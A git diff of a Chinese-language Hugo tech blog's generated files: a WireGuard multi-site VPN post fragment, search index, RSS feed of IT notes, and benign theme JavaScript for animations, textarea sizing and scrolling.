    [筆記] 透過 wireguard 建立多點 site to site VPN / Multiple Site to Site VPN Using Wireguard

    -
    - - - 2019-08-13 - - - + - - - 筆記 - - +
  • + +
  • - Eric Chang +
  • + + + linkedin + +
  • -
    - - -

    因為實在受夠了現在用的 openwrt + strongswan 建立 IPSec VPN

    - -

    雖然說其實沒有什麼不好,但是畢竟不是我建立的,而當初的文件也都不見了

    - -

    完全沒辦法了解當時設計的邏輯,造成後續debug 困難

    - -

    可以想像一下,一台VPN router ping 不到remote、ping不到internet、甚至ping不到自己 是要怎麼debug !?(翻桌

    - -

    之前買了兩台edgerouter X 拿來玩了一下 wireguard,感覺還不錯,不過只有測試到點對點

    - -

    這次試試看躲在gateway後面,看看能不能建立多點的VPN環境

    - -

    - - - -
    - - - - -
    - +
  • + + + stackoverflow + +
  • -
    - - -
    - - - +
  • + + + github + +
  • -
    - - - - - + + + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + diff --git a/public/index.json b/public/index.json index 701c20b7..f38eeac1 100644 --- a/public/index.json +++ b/public/index.json @@ -1,373 +1 @@ -[ - { - "iconClass": "fa-folder", - "objectID": "https://h.cowbay.org/categories/", - "title": "", - "type": "category", - "url": "https://h.cowbay.org/categories/" - }, - { - "iconClass": "fa-folder", - "objectID": "https://h.cowbay.org/categories/ansible", - "title": "Ansible", - "type": "category", - "url": "https://h.cowbay.org/categories/ansible" - }, - { - "iconClass": "fa-folder", - "objectID": "https://h.cowbay.org/categories/linux", - "title": "Linux", - "type": "category", - "url": "https://h.cowbay.org/categories/linux" - }, - { - "iconClass": "fa-folder", - "objectID": "https://h.cowbay.org/categories/proxmox", - "title": "Proxmox", - "type": "category", - "url": "https://h.cowbay.org/categories/proxmox" - }, - { - "iconClass": "fa-folder", - "objectID": "https://h.cowbay.org/categories/ps", - "title": "Ps", - "type": "category", - "url": "https://h.cowbay.org/categories/ps" - }, - { - "iconClass": "fa-folder", - "objectID": "https://h.cowbay.org/categories/%E7%A2%8E%E5%BF%B5", - "title": "碎念", - "type": "category", - "url": "https://h.cowbay.org/categories/%E7%A2%8E%E5%BF%B5" - }, - { - "iconClass": "fa-folder", - "objectID": "https://h.cowbay.org/categories/%E7%AD%86%E8%A8%98", - "title": "筆記", - "type": "category", - "url": "https://h.cowbay.org/categories/%E7%AD%86%E8%A8%98" - }, - { - "iconClass": "fa-folder", - "objectID": "https://h.cowbay.org/categories/%E7%BE%A4%E6%9A%89", - "title": "群暉", - "type": "category", - "url": "https://h.cowbay.org/categories/%E7%BE%A4%E6%9A%89" - }, - { - "iconClass": "fa-user", - "objectID": "https://h.cowbay.org/author/eric-chang", - "title": "Eric chang", - "type": "author", - "url": "https://h.cowbay.org/author/eric-chang" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/10g", - "title": "10g", - "type": "tag", - "url": "https://h.cowbay.org/tags/10g" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/ansible", - "title": "Ansible", - "type": "tag", - "url": "https://h.cowbay.org/tags/ansible" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/backup", - "title": "Backup", - "type": "tag", - "url": "https://h.cowbay.org/tags/backup" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/benchmark", - "title": "Benchmark", - "type": "tag", - "url": "https://h.cowbay.org/tags/benchmark" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/bookstack", - "title": "Bookstack", - "type": "tag", - "url": "https://h.cowbay.org/tags/bookstack" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/bsd", - "title": "Bsd", - "type": "tag", - "url": "https://h.cowbay.org/tags/bsd" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/centos", - "title": "Centos", - "type": "tag", - "url": "https://h.cowbay.org/tags/centos" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/docker", - "title": "Docker", - "type": "tag", - "url": "https://h.cowbay.org/tags/docker" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/du", - "title": "Du", - "type": "tag", - "url": "https://h.cowbay.org/tags/du" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/edgerouter", - "title": "Edgerouter", - "type": "tag", - "url": "https://h.cowbay.org/tags/edgerouter" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/failover", - "title": "Failover", - "type": "tag", - "url": "https://h.cowbay.org/tags/failover" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/firefox", - "title": "Firefox", - "type": "tag", - "url": "https://h.cowbay.org/tags/firefox" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/freenas", - "title": "Freenas", - "type": "tag", - "url": "https://h.cowbay.org/tags/freenas" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/inventory", - "title": "Inventory", - "type": "tag", - "url": "https://h.cowbay.org/tags/inventory" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/launcher", - "title": "Launcher", - "type": "tag", - "url": "https://h.cowbay.org/tags/launcher" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/linux", - "title": "Linux", - "type": "tag", - "url": "https://h.cowbay.org/tags/linux" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/log", - "title": "Log", - "type": "tag", - "url": "https://h.cowbay.org/tags/log" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/mdadm", - "title": "Mdadm", - "type": "tag", - "url": "https://h.cowbay.org/tags/mdadm" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/mellanox", - "title": "Mellanox", - "type": "tag", - "url": "https://h.cowbay.org/tags/mellanox" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/meshcentral", - "title": "Meshcentral", - "type": "tag", - "url": "https://h.cowbay.org/tags/meshcentral" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/metabase", - "title": "Metabase", - "type": "tag", - "url": "https://h.cowbay.org/tags/metabase" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/nas", - "title": "Nas", - "type": "tag", - "url": "https://h.cowbay.org/tags/nas" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/nvidia", - "title": "Nvidia", - "type": "tag", - "url": "https://h.cowbay.org/tags/nvidia" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/nvme", - "title": "Nvme", - "type": "tag", - "url": "https://h.cowbay.org/tags/nvme" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/pgbarman", - "title": "Pgbarman", - "type": "tag", - "url": "https://h.cowbay.org/tags/pgbarman" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/postgresql", - "title": "Postgresql", - "type": "tag", - "url": "https://h.cowbay.org/tags/postgresql" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/proxmox", - "title": "Proxmox", - "type": "tag", - "url": "https://h.cowbay.org/tags/proxmox" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/ps", - "title": "Ps", - "type": "tag", - "url": "https://h.cowbay.org/tags/ps" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/psql", - "title": "Psql", - "type": "tag", - "url": "https://h.cowbay.org/tags/psql" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/pxe", - "title": "Pxe", - "type": "tag", - "url": "https://h.cowbay.org/tags/pxe" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/raid", - "title": "Raid", - "type": "tag", - "url": "https://h.cowbay.org/tags/raid" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/remote", - "title": "Remote", - "type": "tag", - "url": "https://h.cowbay.org/tags/remote" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/restore", - "title": "Restore", - "type": "tag", - "url": "https://h.cowbay.org/tags/restore" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/ssh", - "title": "Ssh", - "type": "tag", - "url": "https://h.cowbay.org/tags/ssh" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/synology", - "title": "Synology", - "type": "tag", - "url": "https://h.cowbay.org/tags/synology" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/timezone", - "title": "Timezone", - "type": "tag", - "url": "https://h.cowbay.org/tags/timezone" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/ubuntu", - "title": "Ubuntu", - "type": "tag", - "url": "https://h.cowbay.org/tags/ubuntu" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/vim", - "title": "Vim", - "type": "tag", - "url": "https://h.cowbay.org/tags/vim" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/vpn", - "title": "Vpn", - "type": "tag", - "url": "https://h.cowbay.org/tags/vpn" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/wireguard", - "title": "Wireguard", - "type": "tag", - "url": "https://h.cowbay.org/tags/wireguard" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/zfs", - "title": "Zfs", - "type": "tag", - "url": "https://h.cowbay.org/tags/zfs" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/%E7%9F%AD%E4%BB%8A", - "title": "短今", - "type": "tag", - "url": "https://h.cowbay.org/tags/%E7%9F%AD%E4%BB%8A" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/%E7%AD%86%E8%A8%98", - "title": "筆記", - "type": "tag", - "url": "https://h.cowbay.org/tags/%E7%AD%86%E8%A8%98" - }, - { - "iconClass": "fa-tag", - "objectID": "https://h.cowbay.org/tags/%E7%BE%A4%E6%9A%89", - "title": "群暉", - "type": "tag", - "url": "https://h.cowbay.org/tags/%E7%BE%A4%E6%9A%89" - } -] \ No newline at end of file +[{"categories":null,"contents":"","permalink":"https://h.cowbay.org/post/","tags":null,"title":"Posts"},{"categories":null,"contents":"","permalink":"https://h.cowbay.org/gallery/","tags":null,"title":"Galleries"}] \ No newline at end of file diff --git a/public/index.xml b/public/index.xml index 72842b2d..af853b7c 100644 --- a/public/index.xml +++ b/public/index.xml @@ -1,15 +1,31 @@ - MCの飄狂山莊㊣ + MC部落 https://h.cowbay.org/ - Recent content on MCの飄狂山莊㊣ + Recent content on MC部落 Hugo -- gohugo.io - Fri, 04 Oct 2019 14:12:15 +0800 + en-us + Mon, 14 Oct 2019 13:59:58 +0800 + + [筆記] 超強的ALL-in-One VPN Server streisand / Awesome All in One Vpn Server Streisand + https://h.cowbay.org/post/awesome-all-in-one-vpn-server-streisand/ + Mon, 14 Oct 2019 13:59:58 +0800 + + https://h.cowbay.org/post/awesome-all-in-one-vpn-server-streisand/ + <p>最近上班閒得發慌,沒事就上 github 找看看有沒有什麼好玩的專案</p> + +<p>就不小心發現了這個 streisand</p> + +<p><a href="https://github.com/StreisandEffect/streisand">https://github.com/StreisandEffect/streisand</a></p> + +<p>玩了一下,發現這根本就是終極的VPN Server solution ..</p> + + [推薦] ulauncher ubuntu 18.04 底下,好用的 app launcher / Recommended Ulauncher in Ubuntu 1804 https://h.cowbay.org/post/recommended-ulauncher-in-ubuntu-1804/ @@ -18,9 +34,7 @@ https://h.cowbay.org/post/recommended-ulauncher-in-ubuntu-1804/ <p>這兩天在找關於在 ubuntu 中做搜尋的軟體</p> -<p>意外找到一個非常好用的工具 ulauncher</p> - -<p></p> +<p>意外找到一個非常好用的工具 ulauncher</p> @@ -39,9 +53,7 @@ <p>感覺挺不錯的,看起來設定很簡單,雖然之前已經測試了 keepalived 做 HA</p> -<p>不過,反正當作練功嘛,多測試一套也不錯!</p> - -<p></p> +<p>不過,反正當作練功嘛,多測試一套也不錯!</p> @@ -65,9 +77,7 @@ <p>這次改從system file level 來下手</p> -<p>採用zfs 的快照來備份、還原postgresql 資料庫</p> - -<p></p> +<p>採用zfs 的快照來備份、還原postgresql 資料庫</p> @@ -76,9 +86,7 @@ Thu, 05 Sep 2019 11:42:28 +0800 https://h.cowbay.org/post/backup-restore-postgresql-with-pgbackrest/ - <p>這兩天在測試pgbackrest ,簡單筆記一下測試狀況</p> - -<p></p> + <p>這兩天在測試pgbackrest ,簡單筆記一下測試狀況</p> @@ -87,9 +95,7 @@ Fri, 23 Aug 2019 14:54:13 +0800 https://h.cowbay.org/post/pgbarman-in-ubuntu-1804-postgresql-10-via-ssh/ - <p>這篇繼續講 pgbarman 透過 rsync/ssh 來備份 postgresql 資料庫的方式</p> - -<p></p> + <p>這篇繼續講 pgbarman 透過 rsync/ssh 來備份 postgresql 資料庫的方式</p> @@ -104,9 +110,7 @@ <p>前幾天老闆在slack 上面又提到,所以這次就花了點時間來玩玩看</p> -<p>不過呢,雖然有弄起來,但是還真不知道有些問題是怎麼解決的&hellip;</p> - -<p></p> +<p>不過呢,雖然有弄起來,但是還真不知道有些問題是怎麼解決的&hellip;</p> @@ -121,9 +125,7 @@ <p>一開始沒想太多,看到有這張卡的驅動程式,然後CUDA也有支援</p> -<p>就直接從桌機拔下來,接去LAB Server ,然後就開始一連串的難關了&hellip;</p> - -<p></p> +<p>就直接從桌機拔下來,接去LAB Server ,然後就開始一連串的難關了&hellip;</p> @@ -144,9 +146,7 @@ <p>所以改用google cloud platform 的free tier 來做</p> -<p>反正只是拿來當跳板,不會有什麼流量、運算產生,可以一直保持免費的狀態</p> - -<p></p> +<p>反正只是拿來當跳板,不會有什麼流量、運算產生,可以一直保持免費的狀態</p> @@ -165,9 +165,7 @@ <p>之前買了兩台edgerouter X 拿來玩了一下 wireguard,感覺還不錯,不過只有測試到點對點</p> -<p>這次試試看躲在gateway後面,看看能不能建立多點的VPN環境</p> - -<p></p> +<p>這次試試看躲在gateway後面,看看能不能建立多點的VPN環境</p> @@ -194,9 +192,7 @@ <p>今天看到文章說用wireguard 可以更簡單</p> -<p>於是研究了一下,發現還真的很簡單!</p> - -<p></p> +<p>於是研究了一下,發現還真的很簡單!</p> @@ -216,9 +212,7 @@ <p>一直都是放在crontab 裡面執行,也就沒有去管他</p> -<p>反正也沒有人關心結果怎樣 (攤手</p> - -<p></p> +<p>反正也沒有人關心結果怎樣 (攤手</p> @@ -241,9 +235,7 @@ <p>就送出一封郵件來通知我,說已經完成安裝,可以執行ansible 了</p> -<p>看似很簡單的一件事情,卻搞了我兩天&hellip;.</p> - -<p></p> +<p>看似很簡單的一件事情,卻搞了我兩天&hellip;.</p> @@ -271,9 +263,7 @@ <p>尤其是有牽涉到從外部導入yaml檔案時,更是常常讓我不知道到底該怎麼抓出想要的變數</p> -<p>這次還是用selectattr 來處理,希望下次能夠記得&hellip;</p> - -<p></p> +<p>這次還是用selectattr 來處理,希望下次能夠記得&hellip;</p> @@ -290,9 +280,7 @@ <p>解決了開PORT的問題,讓被控端(通常是資訊技術相對弱勢,需要接受幫助的一方)不需要懂太多</p> -<p>只要下載teamviewer被控端,開啟後報ID 給協助者就好了</p> - -<p></p> +<p>只要下載teamviewer被控端,開啟後報ID 給協助者就好了</p> @@ -337,9 +325,7 @@ <p>之前就記得有這個xclip/xsel 可以用,但是一直沒有弄清楚怎麼執行</p> -<p>早上研究了一下,順便做個筆記。</p> - -<p></p> +<p>早上研究了一下,順便做個筆記。</p> @@ -356,9 +342,7 @@ <p>也導致原本負責處理盤點資產的同事困擾,因為跟手邊的紀錄已經對不起來了</p> -<p>然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!</p> - -<p></p> +<p>然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!</p> @@ -373,9 +357,7 @@ <p>翻了一下 bash_history ,裡面也只有下過哪些指令,沒有紀錄時間,完全沒有參考價值(攤手)</p> -<p>所以翻了一下網路,至少把這兩台主要跑ansible的機器的log功能補上紀錄所有指令以及時間的部份</p> - -<p></p> +<p>所以翻了一下網路,至少把這兩台主要跑ansible的機器的log功能補上紀錄所有指令以及時間的部份</p> @@ -388,9 +370,7 @@ <p>想說把本機的zpool 拆掉,重新建立一個raid0 的空間來做clone/migrate</p> -<p>可是一直出現device busy的錯誤訊息</p> - -<p></p> +<p>可是一直出現device busy的錯誤訊息</p> @@ -401,8 +381,7 @@ https://h.cowbay.org/post/transfer-cent62-using-rsync/ <p>公司的一台老伺服器空間不足了,要執行指令都會中斷,所以想要擴充空間。</p> -<p>看起來不難搞,事實上&hellip;.. -</p> +<p>看起來不難搞,事實上&hellip;..</p> @@ -430,9 +409,7 @@ <p>可以很簡單快速的備份、恢復系統狀態</p> -<p>可是不知道為什麼,在ubuntu 18.04 上安裝就是會發生錯誤&hellip;.</p> - -<p></p> +<p>可是不知道為什麼,在ubuntu 18.04 上安裝就是會發生錯誤&hellip;.</p> @@ -443,8 +420,7 @@ https://h.cowbay.org/post/install-ubuntu1804-on-dell-6ir-raid-controller/ <p>買了一張 DELL 6/iR 低階的raid 卡</p> -<p>來測試把系統裝在硬體做的RAID上,結果沒想到居然不能開機&hellip; -</p> +<p>來測試把系統裝在硬體做的RAID上,結果沒想到居然不能開機&hellip;</p> @@ -457,9 +433,7 @@ <p>因為新開的機器大部分都是在proxmox上,所以很少碰實體機器了</p> -<p>結果在安裝過程中,做raid碰到一些問題,來紀錄一下</p> - -<p></p> +<p>結果在安裝過程中,做raid碰到一些問題,來紀錄一下</p> @@ -474,9 +448,7 @@ <p>然後把Freenas 安裝在隨身碟上</p> -<p>不過會一直出現Smartd failed to start 的錯誤訊息</p> - -<p></p> +<p>不過會一直出現Smartd failed to start 的錯誤訊息</p> @@ -493,9 +465,7 @@ <p>只是因為原來的設定有用mdadm 做raid1</p> -<p>這部份導致移轉過去proxmox 後,會出現raid degrade 導致無法正常開機</p> - -<p></p> +<p>這部份導致移轉過去proxmox 後,會出現raid degrade 導致無法正常開機</p> @@ -510,9 +480,7 @@ <p>原本的作法是把這個設定好的環境,丟到自己建立的gitea 上面</p> -<p>然後每到一台新的機器,就要去clone 下來</p> - -<p></p> +<p>然後每到一台新的機器,就要去clone 下來</p> @@ -535,9 +503,7 @@ <p>一來是已經過保,二來是DS415+ 本身就有intel bug,三來是因為對synology的NAS 實在沒有愛&hellip;</p> -<p>不過主管還是希望能夠先問群暉維修的費用多少</p> - -<p></p> +<p>不過主管還是希望能夠先問群暉維修的費用多少</p> @@ -562,9 +528,7 @@ <p>就是到貨有點久,等了兩個禮拜左右,一直到昨天東西才寄到</p> -<p>今天就花了點時間測試一下</p> - -<p></p> +<p>今天就花了點時間測試一下</p> @@ -577,9 +541,7 @@ <p>有提到怎麼用 with_items / set_fact 來取得在yaml 檔案中的清單</p> -<p>不過就是有點醜</p> - -<p></p> +<p>不過就是有點醜</p> @@ -631,9 +593,7 @@ } ] -</code></pre> - -<p></p> +</code></pre> @@ -648,9 +608,7 @@ <p>所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)</p> -<p>不過呢,很討厭的是,一進去就發現語系採用的是簡體中文</p> - -<p></p> +<p>不過呢,很討厭的是,一進去就發現語系採用的是簡體中文</p> @@ -665,9 +623,7 @@ <p>但是希望能夠不同team的人用不同的資料庫使用者</p> -<p>這樣萬一出事,會比較好抓兇手??</p> - -<p></p> +<p>這樣萬一出事,會比較好抓兇手??</p> @@ -688,9 +644,7 @@ <p>用途包含了DHCP Server / Proxy Server (squid3) / APT Proxy (squid-deb-proxy)</p> -<p>問題就發生在這台 Build Server 上&hellip;</p> - -<p></p> +<p>問題就發生在這台 Build Server 上&hellip;</p> @@ -729,9 +683,7 @@ <p>Bookstack則是沒有這些問題,不過就是系統「大」了點&hellip;</p> -<p>不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)</p> - -<p></p> +<p>不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)</p> @@ -753,9 +705,7 @@ <p><a href="https://www.maketecheasier.com/mount-google-drive-ubuntu/">https://www.maketecheasier.com/mount-google-drive-ubuntu/</a></p> <p>但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> - -<p></p> +所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> @@ -767,5 +717,15 @@ + + About me + https://h.cowbay.org/about/ + Sat, 05 Nov 2016 21:05:33 +0530 + + https://h.cowbay.org/about/ + An sincerity so extremity he additions. Her yet there truth merit. Mrs all projecting favourable now unpleasing. Son law garden chatty temper. Oh children provided to mr elegance marriage strongly. Off can admiration prosperous now devonshire diminution law. +Received overcame oh sensible so at an. Formed do change merely to county it. Am separate contempt domestic to to oh. On relation my so addition branched. Put hearing cottage she norland letters equally prepare too. + + \ No newline at end of file diff --git a/public/js/audio.js b/public/js/audio.js new file mode 100644 index 00000000..3ac2ab7e --- /dev/null +++ b/public/js/audio.js @@ -0,0 +1,59 @@ +(function(){ + var waves = new SineWaves({ + el: document.getElementById('waves'), + speed: 5, + rotate: 0, + ease: 'SineInOut', + wavesWidth: '75%', + waves: [ + { + timeModifier: 4, + lineWidth: 1, + amplitude: -20, + wavelength: 20 + }, + { + timeModifier: 2, + lineWidth: 1, + amplitude: -10, + wavelength: 27, + }, + { + timeModifier: 1, + lineWidth: 1, + amplitude: -27, + wavelength: 27, + }, + { + timeModifier: 3, + lineWidth: 1, + amplitude: 36, + wavelength: 36 + }, + { + timeModifier: 0.5, + lineWidth: 1, + amplitude: -50, + wavelength: 50 + }, + { + timeModifier: 1.3, + lineWidth: 1, + amplitude: -36, + wavelength: 36 + } + ], + initialize: function (){}, + resizeEvent: function() { + var gradient = this.ctx.createLinearGradient(0, 0, this.width, 0); + gradient.addColorStop(0,"rgba(0, 0, 255, 0)"); + gradient.addColorStop(0.5,"rgba(255, 0, 0, 0.75)"); + gradient.addColorStop(1,"rgba(0, 255, 0, 0"); + var index = -1; + var length = this.waves.length; + while(++index < length){ + this.waves[index].strokeStyle = gradient; + } + } + }); +})(); diff --git a/public/js/autosize.min.js b/public/js/autosize.min.js new file mode 100644 index 00000000..7353c459 --- /dev/null +++ b/public/js/autosize.min.js @@ -0,0 +1,140 @@ +! function(e, t) { + if ("function" == typeof define && define.amd) define(["exports", "module"], t); + else if ("undefined" != typeof exports && "undefined" != typeof module) t(exports, module); + else { + var n = { + exports: {} + }; + t(n.exports, n), e.autosize = n.exports + } +}(this, function(e, t) { + "use strict"; + + function n(e) { + function t() { + var t = window.getComputedStyle(e, null); + "vertical" === t.resize ? e.style.resize = "none" : "both" === t.resize && (e.style.resize = "horizontal"), s = "content-box" === t.boxSizing ? -(parseFloat(t.paddingTop) + parseFloat(t.paddingBottom)) : parseFloat(t.borderTopWidth) + parseFloat(t.borderBottomWidth), isNaN(s) && (s = 0), l() + } + + function n(t) { + var n = e.style.width; + e.style.width = "0px", e.offsetWidth, e.style.width = n, e.style.overflowY = t + } + + function o(e) { + for (var t = []; e && e.parentNode && e.parentNode instanceof Element;) e.parentNode.scrollTop && t.push({ + node: e.parentNode, + scrollTop: e.parentNode.scrollTop + }), e = e.parentNode; + return t + } + + function r() { + var t = e.style.height, + n = o(e), + r = document.documentElement && document.documentElement.scrollTop; + e.style.height = ""; + var i = e.scrollHeight + s; + return 0 === e.scrollHeight ? void(e.style.height = t) : (e.style.height = i + "px", u = e.clientWidth, n.forEach(function(e) { + e.node.scrollTop = e.scrollTop + }), void(r && (document.documentElement.scrollTop = r))) + } + + function l() { + r(); + var t = Math.round(parseFloat(e.style.height)), + o = window.getComputedStyle(e, null), + i = "content-box" === o.boxSizing ? Math.round(parseFloat(o.height)) : e.offsetHeight; + if (i !== t ? "hidden" === o.overflowY && (n("scroll"), r(), i = "content-box" === o.boxSizing ? Math.round(parseFloat(window.getComputedStyle(e, null).height)) : e.offsetHeight) : "hidden" !== o.overflowY && (n("hidden"), r(), i = "content-box" === o.boxSizing ? Math.round(parseFloat(window.getComputedStyle(e, null).height)) : e.offsetHeight), a !== i) { + a = i; + var l = d("autosize:resized"); + try { + e.dispatchEvent(l) + } catch (e) {} + } + } + if (e && e.nodeName && "TEXTAREA" === e.nodeName && !i.has(e)) { + var s = null, + u = e.clientWidth, + a = null, + c = function() { + e.clientWidth !== u && l() + }, + p = function(t) { + window.removeEventListener("resize", c, !1), e.removeEventListener("input", l, !1), e.removeEventListener("keyup", l, !1), e.removeEventListener("autosize:destroy", p, !1), e.removeEventListener("autosize:update", l, !1), Object.keys(t).forEach(function(n) { + e.style[n] = t[n] + }), i.delete(e) + }.bind(e, { + height: e.style.height, + resize: e.style.resize, + overflowY: e.style.overflowY, + overflowX: e.style.overflowX, + wordWrap: e.style.wordWrap + }); + e.addEventListener("autosize:destroy", p, !1), "onpropertychange" in e && "oninput" in e && e.addEventListener("keyup", l, !1), window.addEventListener("resize", c, !1), e.addEventListener("input", l, !1), e.addEventListener("autosize:update", l, !1), e.style.overflowX = "hidden", e.style.wordWrap = "break-word", i.set(e, { + destroy: p, + update: l + }), t() + } + } + + function o(e) { + var t = i.get(e); + t && t.destroy() + } + + function r(e) { + var t = i.get(e); + t && t.update() + } + var i = "function" == typeof Map ? new Map : function() { + var e = [], + t = []; + return { + has: function(t) { + return e.indexOf(t) > -1 + }, + get: function(n) { + return t[e.indexOf(n)] + }, + set: function(n, o) { + e.indexOf(n) === -1 && (e.push(n), t.push(o)) + }, + delete: function(n) { + var o = e.indexOf(n); + o > -1 && (e.splice(o, 1), t.splice(o, 1)) + } + } + }(), + d = function(e) { + return new Event(e, { + bubbles: !0 + }) + }; + try { + new Event("test") + } catch (e) { + d = function(e) { + var t = document.createEvent("Event"); + return t.initEvent(e, !0, !1), t + } + } + var l = null; + "undefined" == typeof window || "function" != typeof window.getComputedStyle ? (l = function(e) { + return e + }, l.destroy = function(e) { + return e + }, l.update = function(e) { + return e + }) : (l = function(e, t) { + return e && Array.prototype.forEach.call(e.length ? e : [e], function(e) { + return n(e, t) + }), e + }, l.destroy = function(e) { + return e && Array.prototype.forEach.call(e.length ? e : [e], o), e + }, l.update = function(e) { + return e && Array.prototype.forEach.call(e.length ? e : [e], r), e + }), t.exports = l +}); + +autosize(document.querySelector('textarea')); \ No newline at end of file diff --git a/public/js/backToTop.js b/public/js/backToTop.js new file mode 100644 index 00000000..1019553a --- /dev/null +++ b/public/js/backToTop.js @@ -0,0 +1,37 @@ +$(function(){ + // browser window scroll (in pixels) after which the "back to top" link is shown + var offset = 300, + //browser window scroll (in pixels) after which the "back to top" link opacity is reduced + offset_opacity = 1200, + //duration of the top scrolling animation (in ms) + scroll_top_duration = 700, + //grab the "back to top" link + $backToTop = $('#back-to-top'); + $shareNav = $('#share-nav'); + + //hide or show the "back to top" link + $(window).scroll(function(){ + if ($(this).scrollTop() > offset) { + $backToTop.fadeIn(); + $shareNav.fadeIn(); + } else { + $backToTop.fadeOut(); + $backToTop.removeClass('btt-fade-out'); + $shareNav.fadeOut(); + } + + if($(this).scrollTop() > offset_opacity) { + $backToTop.addClass('btt-fade-out'); + } + }); + + //smooth scroll to top + $backToTop.on('click', function(event){ + event.preventDefault(); + $('body,html').animate({ + scrollTop: 0 , + }, scroll_top_duration + ); + }); + +}); diff --git a/public/js/bg.js b/public/js/bg.js new file mode 100644 index 00000000..962234b7 --- /dev/null +++ b/public/js/bg.js @@ -0,0 +1,62 @@ +var dreamBGGradients = [ + [], + // From https://uigradients.com + ['#bdc3c7', '#2c3e50'], // Grade Grey + ['#ee9ca7', '#ffdde1'], // Piggy Pink + ['#1c92d2', '#f2fcfe'], // Telegram + // Custom + ['#acb6e5'] // Lan +] + +var dreamBody = $('body') +var dreamFront = $('.flip-container .front') +var dreamBack = $('.flip-container .back') + +var dreamPrevBgIndex = 0 +var dreamBodyBgSwitch = [] +var dreamBodyBgSwitchIndex = 0 + +var dreamBg = dreamBGGradients[getRandomInt(0, dreamBGGradients.length)] +dreamBodyBgSwitch.push(dreamBg) +setBackground(dreamFront, dreamBg) + +setBackground(dreamBody, dreamBg) + +dreamBg = dreamBGGradients[getRandomInt(0, dreamBGGradients.length)] +dreamBodyBgSwitch.push(dreamBg) +setBackground(dreamBack, dreamBg) + +function connect(arr) { + var str = '' + for (var i = 0; i < arr.length; i++) { + if (i !== arr.length - 1) { + str += arr[i] + ', ' + } else { + str += arr[i] + } + } + return str +} + +function getRandomInt(min, max) { + min = Math.ceil(min) + max = Math.floor(max) + var random + while (1) { + random = Math.floor(Math.random() * (max - min)) + min + if (random !== dreamPrevBgIndex) { + dreamPrevBgIndex = random + break + } + } + return random +} + +function setBackground(target, gradient) { + target.css({ + background: gradient[0] + }) + target.css({ + background: 'linear-gradient(to right, ' + connect(gradient) + ')' + }) +} diff --git a/public/js/core.min.js b/public/js/core.min.js new file mode 100644 index 00000000..6da72e51 --- /dev/null +++ b/public/js/core.min.js @@ -0,0 +1,5 @@ +function cardPressed(){this.classList.add('card-hover');} +function cardReleased(){this.classList.remove('card-hover');} +function hamburgerMenuPressed(){if(this.parentNode.classList.contains('hamburger-menu-open')){document.body.classList.remove('no-scroll');this.parentNode.classList.remove('hamburger-menu-open') 